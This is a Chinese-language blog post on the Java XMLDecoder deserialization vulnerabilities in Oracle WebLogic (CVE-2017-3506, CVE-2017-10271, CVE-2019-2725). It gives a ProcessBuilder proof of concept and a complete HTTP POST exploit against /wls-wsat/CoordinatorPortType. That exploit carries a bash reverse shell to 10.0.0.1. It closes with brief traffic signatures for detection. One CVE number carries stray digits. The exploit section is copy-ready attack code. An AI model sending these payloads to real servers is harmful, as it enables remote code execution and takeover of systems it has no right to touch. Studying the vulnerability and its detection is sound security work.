深入解析XMLDecoder反序列化漏洞:从原理到实战利用

由 晨星运营组 发布

漏洞背景

XMLDecoder反序列化漏洞是一系列相关漏洞的集合:
CVE-2017-3506
CVE-2017-10271
CVE-2019-2725123
这三个CVE都是对最初漏洞的不断绕过。CVE-2017-3506的修补方案是禁用object标签,但后续又出现了新的绕过方式,CVE-2019-2725就是因为组件async存在反序列化问题而产生的。

漏洞原理

1.原因:某些组件接收XML文档时,会自动执行XMLEncoder的readObject方法,在反序列化过程中,组件不对对象类型进行审核,这就导致攻击者可以反序列化为任意类的对象。且XMLEncoder能让指定对象执行其方法。
2.原理:以WebLogic为例,其WLS Security组件对外提供webservice服务时,使用了XMLDecoder来解析用户传入的XML 数据,在解析过程中就出现了反序列化漏洞。

基础代码

1.XML序列化

//打开一个文件输出流, 和一个xmlencoder流, 将xml编码后的结果 输出到指定文件中
Test testzzz = new Testz();
XMLEncoder encoder = new XMLEncoder(new FileOutputStream("output1.xml"));
//使用writeObject方法 序列化对象
encoder.writeObject(testzzz);
encoder.close();

2.XML反序列化

//打开一个输入流,读取文件内容,并传入xmldecoder
XMLDecoder decoder = new XMLDecoder(new FileInputStream("output1.xml"));
//xmldecodedr执行readObject方法 反序列化对象
Object testz = (Testzzz)decoder.readObject();


序列化后的XML文件内容会因对象是否被修改而不同。当我们修改对象的值后,XML 文件中会体现出对象名、对象类型和修改后的值等信息。

漏洞利用实例

1.基础POC

反序列化对象为processbuilder对象,构造方法传入数组(cmd.exe,/c,calc.exe),并调用start方法执行命令,POC如下:

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_181" class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>cmd.exe</string>
</void>
<void index="1">
<string>/c</string>
</void>
<void index="2">
<string>calc.exe</string>
</void>
</array>
<void method="start" />
</object>
</java>


2.WebLogic漏洞利用

  • 特征:404页面有特定标识,且漏洞利用需要访问特定组件的 URL,如 /wls-wsat/ 下的各类 PortType 以及_async/AsyncResponseService 等。

  • 反弹shell
    POST /wls-wsat/CoordinatorPortType HTTP/1.1
    Host: your-ip:7001
    Accept-Encoding: gzip, deflate
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64;
    Trident/5.0)
    Connection: close
    Content-Type: text/xml
    Content-Length: 633
    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
    <java version="1.4.0" class="java.beans.XMLDecoder">
    <void class="java.lang.ProcessBuilder">
    <array class="java.lang.String" length="3">
    <void index="0">
    <string>/bin/bash</string>
    </void>
    <void index="1">
    <string>-c</string>
    </void>
    <void index="2">
    <string>bash -i >& /dev/tcp/10.0.0.1/21 0>&1</string>
    </void>
    </array>
    <void method="start"/></void>
    </java>
    </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
    </soapenv:Envelope>



或者可以使用工具一把梭

流量特征

1.请求了存在漏洞组件的URL
2.含有soap协议封装的XML文档
3.XML中含有漏洞利用相关特征的元素

<void class="xxx"> 
<void method="xxx">

4.存在漏洞相关的利用链和利用类,如Runtime.exec、Processbuilder、classloader等。


0条评论

发表评论